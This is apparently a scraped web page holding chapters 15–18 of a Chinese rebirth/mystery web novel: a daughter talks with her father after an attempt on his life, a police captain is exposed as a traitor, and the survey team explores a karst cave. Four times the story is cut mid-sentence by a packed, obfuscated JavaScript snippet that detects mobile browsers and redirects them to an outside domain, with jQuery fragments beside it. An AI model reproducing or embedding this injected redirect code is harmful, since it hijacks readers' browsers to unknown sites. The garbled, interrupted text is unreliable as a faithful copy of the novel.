“老温,为什么你知道自己差点被害死之后都没什么反应?” 老温叼着塑料勺子含混不清地说道:“我需要有什么反应吗?” “不需要吗?要是没发现你就死了啊!” “也是。”老温舀了一勺冰沙,抬眼望天。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364359|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大温有些生气:“拜托!你要是真的被害死了,我和秦女士怎么办?” “唔……好像是很不舍得呢。” “只是不舍得?” “对啊,不舍得。” “不是,那是你的感受,还有对我们的影响呢?” “影响?”老温放下端着冰沙碗的手,很认真地看着大温,“你是想说,如果我死了,你们会伤心到抑郁吗?” 大温本来想说“是啊”,可看到父亲严肃的表情,突然说不出话了。 总是嬉皮笑脸、吊儿郎当的老温此时正襟危坐,深棕色的眼睛直直看着大温。 老温问她:“温流照同学,你是那样软弱的人吗?” “我……” 她想说“我不是”,话到嘴边,想起了手腕上的伤疤,反驳的话一下子说不出口了。 她可能……确实软弱了…… 大温低垂着脑袋,说不出话。突然,有只宽大的手按在她的头上,老温的声音随之而来。 老温揉着大温的脑袋,语气温柔:“你是我和秦女士教出来的孩子,我们授予你强大的心脏,赋予你直面恐惧的勇气,教会你宽以待人的善良。” 大温抬头看老温,嘴巴张了张,说了句题外话:“老温同志,你现在说话好像秦女士。” 秦女士是中文系的高材生,这么有文采的话,显然更像是秦女士会说的。 虽然秦女士很害羞,不会这样直接说出来。 “咳咳!”老温别开头,“你的老父亲难得说出这么有文采的话,不要打断他啊!” 大温抱歉道:“好吧,您继续,我刚刚什么也没说。 老温舀了慢慢一大勺冰沙塞进嘴里,嘎巴嘎巴嚼着冰块。 “都怪你,我现在不知道说什么了。” 大温无奈:“我的错,我的错。” “你还记得有一次你在学校打架被叫家长吗?” 大温仔细思索,疑惑询问:“哪一次啊?” 大温被叫家长太多次了,也不知道老温说哪一次。 老温噎住:“就最近的那次吧,你做了什么?” 大温思索,回答:“有个外校的高年级男生想追我同桌,堵在校门口等她放学,我同桌不敢出去,把我叫去帮忙,最后我出去给了他一拳。” 老温打了个响指:“然后你今天又做了什么?” 大温恍然间好像明白了老温想说什么:“我站出来,请求吕教授立刻停止科考并报警。” 老温又打了个响指:“所以你发现了什么?” “我……我很……勇敢?” 大温说完,自己都觉得有点不好意思了,老温这是在报复她吗? 老温“啪啪啪”鼓掌,笑容温柔:“对咯。” “你很勇敢,温流照同学。”老温笑盈盈地看着大温。 “你是个勇敢的孩子,就算一时软弱了也没关系,我和你妈妈都相信,你总有一天可以爬起来,靠自己渡过难关。” “因为你是我们看着长大的,最宝贝的孩子。” 在不算很亮的路灯的照耀下,大温看见了老温一贯轻松的笑容。 夏夜的风吹过,像是要吹走两世的烦恼,大温在这一刻想通了许多事情。 好像……没什么大不了的。 15. 谈心(二) 大温的那一碗冰沙吃到最后已经全化了,她干脆一仰头全喝了。 喝完顺手把垃圾塞给老温,照例在老温伸手讨钱时,往他手心拍一下。 “给你,皇帝的新钱。” 老温撇嘴,不满地埋怨:“大小姐,我帮你买的冰沙,吃完还要我帮你扔垃圾,这还有没有天理了!” 大温笑笑,不管悲愤的老温,低头继续看手机。 先前发给何景澄的那条消息没有最新回复了,大温退出聊天框,继续往下看。 下一条是卢旗旗发来的,大温愣了愣,她记得是在第一天的时候加的好友,后来每天都见面就没有在网上聊天,这还是卢旗旗第一次给大温发消息。 【卢旗旗】:早点回去休息啊你们,到宾馆记得和我说一声,不然我要担心得睡不着了。 隔了半小时,她又发了第二条消息。 【卢旗旗】:这几天都小心些,不要相信任何人。 大温微微一笑,心里暖洋洋的。 这次重生,大温真的收获了很多。她认识了很多以前错过的人,发现了很多事情的真相,看到了很多人的另一面。 原本对卢旗旗的介怀也已经慢慢消退,她有了更应该仇恨的人。 大温想起前世的卢旗旗,听说她因工作过失被辞退了,辗转各个城市打工,再也没有做类似的工作。 也不知道最后她在做些什么,还会因为愧疚而良心不安吗? 【大温】:旗旗姐,你也要保护好自己。 发完消息后没有立刻收到回复,老温扔完垃圾回来了,正准备问老温,什么时候回旅馆,老温兜里的手机响了。 他从口袋里摸出手机,看着来电显示皱眉:“喂?” 电话那头不知说了什么,老温的面色愈发凝重,最后他说了一个“好”字,挂掉了电话。 “怎么了?” 老温好像有点不知道该从何解释,他皱眉思索,片刻后答道:“之前那个刑侦大队队长被举报了,我们的案子被移交上级公安局了,需要我们明天重新对一下笔录。” 大温愣了好久都没反应过来,总觉得这剧情发展是不是有点太快了。 一开始她真的以为,老温这件事就是个普通意外,没想到是伪装成意外的谋杀。 事情至此已经很魔幻了,结果还有更魔幻的。 报案后的同一天,接警的公安局刑侦大队队长就被查出有问题,案子直接移交上级公安局。 人生可真是,处处有惊吓。 大温甚至有点想为她这跌宕起伏的人生高歌一曲了。 就在她感慨之时,更加跌宕起伏的剧情发生了。 大温的目光落在不远处的小广场上,小广场上玩滑板的小少年们围在一起。 一个少女踩着滑板腾空,她黑色的短发在风中飞扬,画着彩色涂鸦的滑板在空中旋转了三百六十度。 少女腾空的一瞬间,大温看到先前被她挡住的一个人影。 那是一个灰色格子衫的少年,大温对他很熟悉。 “何景澄?”大温微微睁大眼,不可置信地看着来人。 老温也听到了,赶忙站起来:“哪里哪里? 他怎么过来了? 这个小公园不算大,但人也不少,何景澄却像能穿越人群,直至向大温走来。 发现大温在看他,何景澄柔柔一笑,刚好经过小公园里灯光最亮的地方,大温可以清楚看见他的笑容。 那个笑容就像看见了埋藏在海底的宝藏。 何景澄走得很快,他三两步跨上台阶,站在大温三步外的地方。 老温冲他打招呼:“哟,何景澄同学你怎么也在乐宁县?” “碰巧在这附近,听说你们遇到了刑事案件,想过来看看有没有什么需要帮忙的。” 大温想起先前何景澄说,他把一只受伤的红隼送去公安局了,原来说的是乐宁县的公安局。 还真是……太巧了。 老被人惦记,老温有些不好意思了,摆摆手道:“哎呀,其实也没什么啦,不用太担心,现在案子交给沛霖市公安局查了,这回肯定能查出来了。” 老温语气故作轻松,何景澄却很准确地听出他话里的问题:“这回?是负责调查的人中出现叛徒了吗?” 这孩子的直觉怎么这么敏锐!大温有些震惊,这还没说几句呢,他都快知道完了。 老温也一样震惊:“你这孩子,直觉也太敏锐了点!” 何景澄有些警惕地四下张望,确认没有人后才小心地凑到老温耳边解释:“我能这么快猜到,是因为我小姨就在找那公安系统里的叛徒。” 何景澄的声音压得很低,正好能让老温和大温听清。 这件事变得越来越复杂了,大温有点头疼。 虽然很想问何景澄,他小姨为什么在查叛徒?是发现了什么吗? 但这是机密,何景澄一个孩子肯定不知道,就算他知道也不能说。 头疼过后又有些讶然,原来何景澄的小姨是警察,难怪他家的信息被保护得很好。 大温一直不知道他的家庭情况,前世关于何景澄的家世有很多猜测,至于为什么是猜测……因为他本人一直拒绝透露家庭情况,大家只能猜。 唯独公开的一条信息还是大温问的。 前世大温好奇问过他:“你之前在哪上的学啊?怎么以前没听说过你的名字?” 何景澄放下笔,看着大温很认真地回答:“首都,我的小学和初中都是在首都上的学。” 大温惊讶:“诶,你在首都念的小学和初中,为什么跑来这么远的地方?” 何景澄笑:“因为有想陪伴的人在这里。” 想起这段对话,再结合现在已知的信息,大温猜测何景澄说的那个想陪伴的人就是他的弟弟。 丰林市人民医院的癌症治疗——特别是针对骨肉瘤的治疗水平,在国内算是顶尖的,他的弟弟应该就在丰林市人民医院住院。 丰林市一中的教育水平不算拔尖,但离丰林市人民医院很近,骑车只需要十分钟时间,也许正是出于这种考虑,何景澄才会选择就读丰林市一中。 大温思考间,何景澄和老温不知道聊到了什么,纷纷看向她。 大温奇怪:“怎么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364360|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何景澄露出一个灿烂的笑容:“没什么,只是觉得你一如既往的大胆。” 大温恍然,可能是刚刚老温和何景澄说了今天的经历,说了她(准确来说是小温)跳出来用嘴炮打败大魔头。 过了会,她发觉不对,拽住何景澄的胳膊:“一如既往?” 何景澄看了一眼拽住他的手:“对,你还是和初见时一样大胆。” 说的是动车上初遇的时候吧,大温收回手。按照何景澄的观察力和直觉,好像确实能从一些小事里看出这个人的性格特点。 刚刚有一瞬间,大温还以为眼前站着的是她那个时空的何景澄,两个时空好像有一瞬间的交错。 也仅仅是一瞬间,下一刻大温便清醒意识到,站在她面前的是十六岁的何景澄,而她是二十五岁却用着十五岁的身体的温流照。 大温:“说起来,你怎么一个人?你爸爸也在乐宁县吗?” 何景澄:“嗯,我们打算把几个县城比较出名的景点都走一遍,今天刚好从隔壁县过来。” 老温插话:“好巧好巧。” 大温一把把老温推开,有点嫌弃他破坏气氛:“你这几天都在乐宁县?” “对,如果有需要帮忙的,可以随时联系我。”何景澄顿了下,补充道,“其实我还挺擅长推理的。” 天色不早了,何景澄与大温父女告别,随后隐入夜色中。 老温伸了个懒腰,打着哈欠走出小公园。大温和老温并肩而行,像小公园里随处可见的平常父女一样散步。 走着走着,大温突然问老温:“老温,你说如果一个人重新回到过去,有机会阻止一些坏事的发生,她能成功吗?” “不好说,这个世界上有很多事并非努力就会有好结果的。” “那……那如果真的像你说的,努力了但是没有得到好结果,那该怎么办?” 老温犀利反问:“温流照同学,你今天怎么好像变了个人?” 大温有点心虚:“我哪变了?” “你到现在都没有揍我诶。” “……” 大温怒了:“老温同志,请不要在聊正经话题的时候打岔,不然我真的会在你死里逃生的今天给你一拳。” 老温哈哈笑着:“你揍我也挺好的,这样你就不用总是思考这么多有的没的了吧?” 大温一愣,停在原地。 老温往前走了几步,明晃晃的路灯下,他转身看着大温。 “大温同学,你看,”老温指了指头顶的夜空,“夜空很美吧?” 非常凑巧的,在大温抬头的那一刻,远处有一道细长的光由下而上升空,越来越多的光芒升空,随后炸开一朵又一朵五颜六色的烟花。 砰砰砰—— 大温的心在此刻跳得飞快,并不因为这突然而又恰到好处的烟花,而是因为老温对她的称呼。 “为一件可能不会发生的未知之事忧愁,这可不是什么好习惯。” “大温同学,烦恼的时候,不如多看看这个美丽的世界。” 五颜六色的烟花腾空又炸开,老温笑盈盈地看着她。 16. 加班 数小时前,乐宁县公安局—— 丁文文在等待方承平说些什么,又或者,他在提防着方承平做些什么。 他紧紧盯着师父的背影,在过去的几个月里,他经常看着这个背影。 平日里他总是带着“啊,好麻烦”“好累,虽然才刚上班但是好累”“想摸鱼,好想摸鱼”的心态,头一回,他带着戒备看着师父的背影。 平心而论,方承平是个好师父,他在教导两位徒弟时尽职尽责。 然而一码归一码,为了心中尚存的正义,他需要揭发方承平。 棋局已经布下,现在,他要作为棋子以身入局了。 良久,方承平终于回头,目光平静。 “你做得很好,丁文文。” 意料之外的夸奖,丁文文微怔。 “但你太傻了,”方承平摇摇头,像个评价学生作业的老师,“你暴露了自己,你觉得你还能安然无恙吗?” 方承平话一出口,埋伏在附近的警官们纷纷冒头,他们举着枪支瞄准方承平,像是在告诫他不要轻举妄动。 许依然也在其中,她是这些人里第一个被通知队长叛变的人,早在下午的审讯进行到一半时,丁文文就悄悄往她手里塞了一张纸条。 许依然不动声色地把纸条收好,在审讯的间隙以上厕所为由离开审讯室,展开那张纸条。 纸条很小,没写什么内容,只有一串数字和四个字:师父叛变。 短暂的惊讶后,许依然记下那串数字,把纸条扔进马桶里冲走,她深吸几口气,调整自己的情绪,最后像无事发生一样回到了审讯室。 在审讯期间,许依然见缝插针,给其他同事传递消息,于是就有了现在这一幕——渐渐黑沉的夜幕下,方承平微笑着举起双手。 他看着站在自己对面的同僚,笑容欣慰。 方承平:“还不错,至少会找人帮忙。” 丁文文:“师父,我想问您为什么要这么做?” 方承平:“你觉得我会说吗?” 一位资历较老的刑警厉声吼道:“方承平!坦白从宽,抗拒从严!你这是非常严重的根本性错误,最好老实点!” 方承平没在开口,只是平淡地把手伸到丁文文面前,示意他为自己戴上手拷。 …… 当晚,沛霖市公安局派了人来彻查方承平叛变一事。 办公室内,一个短卷发,脸蛋有些婴儿肥的小女警被埋在一大堆卷宗里。 小卷毛的小脸皱成一团,眉毛快要拧成海带结了。 她抽空看了眼自家队长,金凤零坐在办公桌前,桌上堆着两大沓案件卷宗,短直发的飒爽女人正耐心地一卷卷阅览。 小卷毛发出今晚不知道第几声哀嚎:“老大,我要被案卷卷宗淹死了你快救救我——” 金凤零把手中看完的卷宗合上,“啪”一下放在右手边那沓卷宗上。她好像已经习惯了身边有个叽叽喳喳的小跟班,头也没抬,完全无视了小卷毛的哀嚎。 许依然抱着一大沓新的卷宗和资料进门,小卷毛看着许依然手里的新卷宗,默默流下两行宽面条泪。 小卷毛:“唉,命苦……唉,命苦……” 整个乐宁县公安局灯火通明,针对方承平的审讯进行了一夜,方承平经办的所有案件卷宗都被重新翻出来调查。 小小的县级公安局人手并不算多,连休假中的警察都被叫回来加班,一时间哀嚎声此起彼伏。 “好想睡觉……好想睡觉……” “我是谁我在哪,我为什么在这里,我不是应该在家里躺着吗?” “还有谁是叛徒一并招了吧,我真不想再来加班了。” “别别别!别再来了!我的老天爷,愿世界没有犯罪。” 诸如此类的交谈时不时在局内响起,办公室内,卷毛小女警坐在地上,趴在一沓卷宗上打瞌睡。 丁文文作为案件的举报人正在提交证据和资料,只有许依然比较闲。 她左看看右看看,虽然很想来帮忙,但她是方承平带的新人警官,为了避嫌,只能交由沛霖市公安局来的小卷毛和金凤零进行调查。 …… 第二日,小温一行人按照通知准时到达乐宁县公安局。 一个头发有些乱的短发女人从办公室里走出来,嘴里叼着巧克力味的棒棒糖,女人眼底下有明显的黑眼圈,一看就知道忙了个通宵。 女人的瞳色有点浅,和明显的黑眼圈形成鲜明对比,显得那黑眼圈更浓了。 通宵忙碌让她看起来没什么精神,她走到老温面前,拿出嘴里的棒棒糖。 “我是金凤零,沛霖市公安局刑侦支队队长,也是本次案件的负责人。” 金凤零很随意地做着自我介绍,身旁的小卷毛女警眯着眼睛打哈欠,一副困得不行的样子。 小温看着金凤零的脸,总觉得有些眼熟,往来的警员脸上都挂着疲惫。 真辛苦,看来昨晚他们打了一场硬仗啊。 金凤零一口咬碎手里的棒棒糖,嘎巴嘎巴嚼碎糖块,表情始终没什么变化。 “接下来我们需要对几个关键点进行二次审讯,麻烦各位配合一下,尽快结束。” 金凤零咬完棒棒糖,顺手把剩下的棒子塞给旁边的小卷毛,小卷毛有苦说不出,苦着脸帮自家老大扔垃圾去了。 小温一直看着小卷毛,看着她扔完垃圾回来,在金凤零背后虚空打了几拳泄愤。从那几拳小温看出小卷毛的身手也很好,动作干净利落。 小温露出欣赏的表情,不愧是专业的,看得她有些想上去切磋切磋。 就是在人家背后偷偷摸摸的样子有点滑稽。 小温突然有些理解之前何景澄说的话了,看别人打打闹闹的确实挺有趣的。 接下来的大半天时间都在走流程,金凤零是个雷厉风行的女人,做事相当麻利——当然也可能是因为实在困得不行,想赶紧干完事回去睡觉。 吕瀚博作为唯一一个可能见过凶手的人,被金凤零着重询问,她问出了一个之前方承平没有问过的问题:“当天晚上你为什么要外出?” 吕瀚博:“这是我的私事,无可奉告。” 金凤零有点烦恼地抓了几下头发,她的忍耐力已经到了极限。 旁边的小卷毛很狗腿,厉声道:“吕瀚博,请配合我们的调查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364361|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 吕瀚博:“……” 金凤零单手托腮,另一只手在转笔,一副吕瀚博不说她就一直拖着的样子。 金凤零自然不想浪费太多时间,她现在困得一沾床就能睡着。 她只是认为,眼前这位威严的学术型老教授一定比她更不想浪费时间。 果然,半分钟不到,吕瀚博有些无奈地开口了:“……我是出门抽烟了,顺便看了一下狗。” 金凤零放下笔,盯着眼前的老人的脸。她看到老人别开眼,不去看她,想起那个叫温流照的小姑娘的证词。 小姑娘说当晚她突然很想母亲,所以偷偷跑出去在村长家的院子里打电话,挂断电话的时候正巧碰到吕瀚博从外边回来,看见吕瀚博的时候,一直对着小姑娘叫个不停地大黄狗反而不叫了。 哦,原来如此。 金凤零又简单问了几句,大概知道了前因后果。 吕瀚博是个犬类爱好者,因为这个爱好和威严的外表反差太大,他不想让人知道,所以特意在晚上大家都睡下了之后再出门。 他借此偶遇疑似凶手的人,还被打电话的小姑娘撞见了,想隐瞒也隐瞒不了。 快速问完几个问题,金凤零把人放走了。人一走,她就累得直接趴桌上了。 旁边的卷毛小助理睁着半双眼,半死不活地摇晃身侧同样半死不活的金凤零。 “老大老大,醒醒醒醒。” 金凤零半梦半醒的,她依然趴在桌子上,有气无力地说:“没有……一个人……有……疑点……” 她的意思是,科考队的这八个人和一个未成年的小姑娘里,没有人的证词有疑点,案件毫无进展。 简直大受打击。 昨晚方承平被审讯了一晚上,硬是一句话没说,金凤零带来的人重新调查了存放引导绳的车后备箱,很遗憾,已经被方承平处理干净了。 而关于方承平拿走的东西,丁文文也不知道那是什么,他甚至有点不太确定到底是不是拿走。 方承平的住所和使用的电子设备还在调查中,说实话金凤零对此不报多少希望。 如果方承平背后的人真的是她想追查的人,依她对那些人的了解,恐怕不会留什么线索。 直觉告诉她,这件案子可能没办法在几天内侦破。 明白归明白,该沮丧的还是会沮丧。 审讯室的门口探出一个脑袋,许依然端着两杯咖啡走进来。 许依然是现在警局里最悠闲的人,看着同事们忙碌,她还怪不好意思的,一直坚持帮忙干一些不接触案件的零活,最常做的就是给打瞌睡的同事送去速溶咖啡。 咖啡的香味充斥整个审讯室,金凤零和小卷毛各端了一杯喝下,许依然很贴心地控制了水温,正好能够入口。 喝完咖啡金凤零就像没电的手机充了三分钟电一样,获得了一点精神,小卷毛半拉的眼皮变成了20%拉。 金凤零推开椅子站起身,伸了个嘎吱作响的懒腰:“好,还有点精神,走,去会会方承平。” 小卷毛两眼一闭,有些不敢睁眼。 有工作狂!有工作狂啊!小卷毛在心里咆哮。 17. 继续科考 “经过乐宁县公安局和沛霖市公安局的合力调查,我们终于在三天内查明了方承平同志背后的势力,破解了科考队的案子,可喜可贺,可喜可贺。”小卷毛很高兴地宣布。 “真的真的?”许依然喝了一口紫菜蛋花汤,端着汤碗面露惊讶。 “当然是假的。”金凤零端着餐盘走过来,坐在小卷毛身边,她放下餐盘,很自然地屈起食指关节,在小卷毛的脑门上轻轻敲了一下。 “鱼小丹,不要散布谣言。” 小卷毛鱼小丹一秒破功,在许依然的注视下变回熟悉的苦瓜脸。 “老大——你快说今天就能破案!来点鸡汤激励一下我!” 金凤零把餐盘里的一个白色陶瓷汤盅放到鱼小丹面前:“喏,你要的鸡汤。” 陶瓷汤盅搁在金属桌面上,发出一声细微的响声。 鱼小丹探头一看,汤盅里装着三块鸡肉、一颗红枣、三颗枸杞,汤色金黄,还真是鸡汤。 鱼小丹闭目,感觉自家老大在讲冷笑话。 “怎么真的是鸡汤啊!” 鱼小丹嚎,许依然笑,她好像有点明白金凤零为什么总是带着鱼小丹了。 鱼小丹就是个活宝,负责活跃气氛的,放在一边叽叽喳喳的很好玩。 从卢旗旗报警到今天已经是第三天了,案子一点进展也没有,别说找到那个凶手了,就连嫌疑人的范围都无法确定。 从目前已知的证据来看,科考队九人都被排除了嫌疑,村长家周边也仔细调查过了,找到的疑似凶手的鞋印和这九人都不吻合。 就连第一天带科考队上山的向导都调查过了,依然没有疑点。 毫无线索的悬案,金凤零不由得想起了当年她刚出来工作的时候,带她的老刑警也接到过这样的案子。 那是一个连环杀人案,受害者没有共同点,有男有女,年龄从十几岁到七八十岁不等,死状不尽相同。 唯一相同的点,就是尸体旁皆放着一张名片大小的硬卡纸,卡纸上印着一句诗歌。 一共六个案子,每个案子留在现场的诗歌都来自于不同国家。 这个案子被称为“悼亡诗系列连环杀人案”,如今过去二十几年仍未找到凶手,最近的一件案子也已经是十年前了。 金凤零的老师直到因伤退休都还在记挂着这个案子,并叮嘱金凤零一定要查明真相,给死者和家属一个交代。 金凤零一直坚信这个世界上没有毫无线索的悬案,如果出现了,就说明背后有一个庞大的势力需要彻查。 金凤零夹了根胡萝卜叼着嚼,公安局的员工食堂内零零散散坐着一些人,因为加班的缘故,这几天食堂的人也多了起来。 希望事情不要成为最坏的局面吧,金凤零心想。 …… 逆转空间里,大温正呈大字状仰躺在海面上,随着海浪漫无目的地漂流。 漂着漂着,感觉太阳有点刺眼,她眼睛一闭再一睁,太阳变成了月亮。 新月散发着柔和的光,大温盯着头顶的月亮,有很长的时间什么也没有想。 昨晚老温说完那番话后,大温没有问老温是不是知道了些什么,老温也没有向大温确认她是不是重生回来的。 后来他们回了酒店,一路上两人都心照不宣,没有再继续那个话题。 大温想了很多很多东西,她想到了在她的时空里,老温刚去世的那段时间。 秦女士的日常生活并没有发生多大变化,大温总以为她已经从悲伤中缓过来了,直到某日起夜,发现她独自枯坐在客厅里。 她坐在那里看着老温的照片发呆,没有开灯,桌上烧着两根香烛,烛火照得她的脸忽明忽暗。 “妈妈。”大温喊她,看见她拿着相框的手抖了一下,随后若无其事地把相框放下。 “嗯,怎么了?” “你还好吗?” 桌上香烛的火焰跳了跳,秦女士温柔地看着大温。 “还有你在,我就还好。”她听见秦女士这么回答。 那段时间大温过得很不好,稀里糊涂的,现在回想起来才发现,她印象里软性子的母亲在那段时间里的表现并不柔弱。 秦女士独自办理了老温的死亡证明,联系老温的好友,告知他们老温死讯,只手操办了老温的葬礼。 甚至发现大温心理问题的也是她,帮大温联系心理医生的还是她。 毫无疑问,秦女士很爱老温,失去挚爱的痛苦难以言喻,但她并没有被这件事击倒。 ——你是那样软弱的人吗? 大温又想起了老温问她的话,老温只问了她,并没有问秦女士。 可能是老温知道秦女士的答案,也可能,只是老温觉得这个问题得问秦女士本人。 不管怎样,大温现在知道秦女士的答案是什么了。 ——不是。 秦女士不是会因为爱人离世就一蹶不振的人,大温也不应该是会因为父亲离世郁郁寡欢的人。 是啊。 如今回头看,那些伤痛好像并没有那么鲜血淋漓。 这世界上的灾难好像并没有那么可怕。 大温闭上眼睛,感受着海洋的脉搏,随波逐流。 …… 警方宣布暂时排除科考队成员的嫌疑后,吕瀚博立刻组织队员重新进行科考。 小温边吐槽吕瀚博的科研精神,边守在老温身边,提防着老温再被人盯上。 有了前车之鉴,这次科考队的防具全都进行了详尽的检查。 卢旗旗的检查万分仔细,一点也没有懈怠,小温也跟着她学一些简单的检查方法。 所有可能导致成员出现生命危险的物品,都需要经过至少三个人检查,除了卢旗旗外,还有石广洋和一位操作员,小温充当监工的。 “氧气瓶像这样浸泡在水中30秒,观察有没有气泡溢出,没有就是合格的,这是为了检查氧气瓶的气密性。” 卢旗旗很耐心地给小温讲解,小温蹲在一边听得很认真,比上课还认真。 有时候老温会凑到小温面前,故意装作很感动的样子,扯了扯并不存在的衣袖,擦了擦并不存在的眼泪。 “爸爸好感动,我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364362|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小棉袄长成大棉袄了。” 小温觉得他烦得很,每次都蹭一下站起来,双手推着老温的背,把老温推出二里地外,并严肃警告他不要来捣乱。 即便如此,老温还是会时不时来烦一下小温,像是专门过来调节气氛的一样,总是会适时出现。 又一次把老温赶走,小温气鼓鼓地回来,卢旗旗看着她笑,说:“你爸爸其实也很关心你啊。” 小温坦然:“是啊,我知道他很爱我,我就是单纯觉得他有点烦而已。” 小温说完,又悄悄凑到卢旗旗耳边补充道:“你不知道,我小时候他一天能对我说一百遍‘爸爸爱你’之类的话,烦死了。” 卢旗旗噗嗤一笑,两个人像好姐妹一样交头接耳。 大概是因为老温以前总在小温面前自称“爸爸”,把小温搞烦了,小温后来很少叫他“爸爸”,没事就叫“老温”,有事相求才会可怜巴巴地叫“爸爸”。 日子就在这样轻松愉快的氛围里度过了,虽然中间报案耽误了一些时间,但整个调查任务还是圆满完成了。 最后一天的下午,小温被允许参观地下溶洞了。 当然,这是有前提的,小温需要带好防具,在老温的陪同下在安全区域参观。 即便如此小温也已经很满足了,她有些兴奋地摩拳擦掌,这些天只能在洞外张望,她早就好奇里边长什么样了。 “头盔、护目镜、防水靴、手套、定位器……嗯,很好,都齐了。”卢旗旗很满意地看着全副武装的小温。 小温看看手又看看脚,新奇得不行。穿着防护服有些闷热,头盔也很重,体验算不上舒服。 小温正在检查头盔上的照明设备,突然听见“咚咚”两声,有人在敲她的头盔。 她回头,就见穿戴整齐的老温一手叉腰,另一手举起,食指弯曲,正笑嘻嘻地看着她。 “准备好了吗,小朋友?” 小温曲起两只手的手指,走到老温跟前,报复性地在他头盔上敲了好几下,敲完才说:“谁是小朋友啊!我马上就16了!已经是高中生了!” 老温被敲得直缩脖子,但还是在笑:“哎呀,18岁以前不就是小朋友嘛~” “哈哈哈,小温同学要不要跟我回家啊?我家有两个比你小的小妹妹,你可以去我家当大姐姐哦~” 老温一听,不笑了,扭头对着说话的中年女人嚎:“丁天春你又来了!” 众人笑成一团,你一言我一语,说得老温拽着女儿赶忙溜了。 卢旗旗提着个两个小型背包,追着父女俩喊:“包包包——” “谢谢你,好心的姑娘。”老温接过背包,像个化缘的和尚一样对卢旗旗拜了拜。 背包里装了一些用以应对突发情况的物品,比如补充能量的干粮、保温毯、口哨等。小温背上背包,背包有点重量,但不是很重,并不妨碍行动。 “走吧,温流照同学,机会难得,带你见识一下喀斯特地貌到底长什么样。” 老温站在溶洞口前回头,向小温伸出手。 小温搭上了老温的手。 18. 地下溶洞 在得知老温此行会去地下溶洞进行科考调查后,小温曾在网络上搜索过地下溶洞的相关视频。 小温是在逆转空间里看的,大温在她背后追一颗会飞的火龙果,路过时瞥见了电脑屏幕,火龙果也不追了,双手撑着小温的椅背,幽幽感慨。 “唉,可惜连不到我那个时代的网络。” 十年前的网络不算发达,短视频还没有兴起,地下溶洞的相关视频比较少,小温翻着那几个视频,并没有看到多少溶洞内的景色。 现在终于亲眼见到了。 高帮水靴踩在凹凸不平的石面上,一入洞口,迎面一阵凉风,沁入心脾的凉意,原本觉得有些闷热地防护服此时变得刚刚合适了。 溶洞口的平台很宽阔,走入洞口大约五十米,小温回头,洞口在稍微高一点的地方,站在洞内望向洞外,天空被石壁遮挡,阳光一束一束的,照在高大的树木上,照在凸起的岩石上。 缓步走入溶洞,空间愈发狭小,环境也愈发昏暗,老温打开头盔的照明功能,小温也跟着打开,霎时间照亮了眼前漆黑的路。 “哇——”小温看着眼前大大小小倒悬在石壁上的钟乳石,忍不住发出喟叹。 “滴答——滴答——”不知何处传来水珠落下的声音,清脆的声响在溶洞内回荡。 小温东看看西看看,并没有找到滴水的地方,出于安全考虑,她只是原地打量没有乱跑。 经过几天的科考调查,老温基本摸清了哪些地方没有危险,他带着小温七拐八绕,不时给她讲解那些形状各异的石头都叫什么名字,又是如何形成的。 小温一直在惊叹,亲眼见识到才知道,大自然的鬼斧神工是多么的神奇,人类的审美永远落后于自然。 最后,他们停在一个有些狭小的洞穴前,洞穴透着一丝光亮,另一头似乎是另一个溶洞口。 “温流照同学,可以趁现在擦亮你的眼睛,接下来才是重头戏。” 老温得意洋洋地做了个请的手势,小温带着期待弯腰走进洞穴。 最先听到的是水流撞击岩石的哗啦声,阵阵凉意袭来,脚下铺着一层水,水靴踩过发出“哗啦”的响声。 越是往里走,脚下的水就越多,直到水没过小温的脚踝,眼前骤然敞亮,小温有些怔愣,连头盔上的照明都忘了关,就那样愣愣看着。 终于,在磕磕绊绊地前进了大约三分钟后,小温见到了老温口中的“重头戏”。 在黑暗中行走了许久,骤然看到眼前的场景,小温忽然就明白了《桃花源记》里的描述。 豁然开朗。 是的,豁然开朗。 眼前是一个巨大的瀑布,山体像一个开了口的葫芦,白胡子仙人正笑眯眯地往葫芦里灌水,发出“哗啦哗啦”的巨大响声。 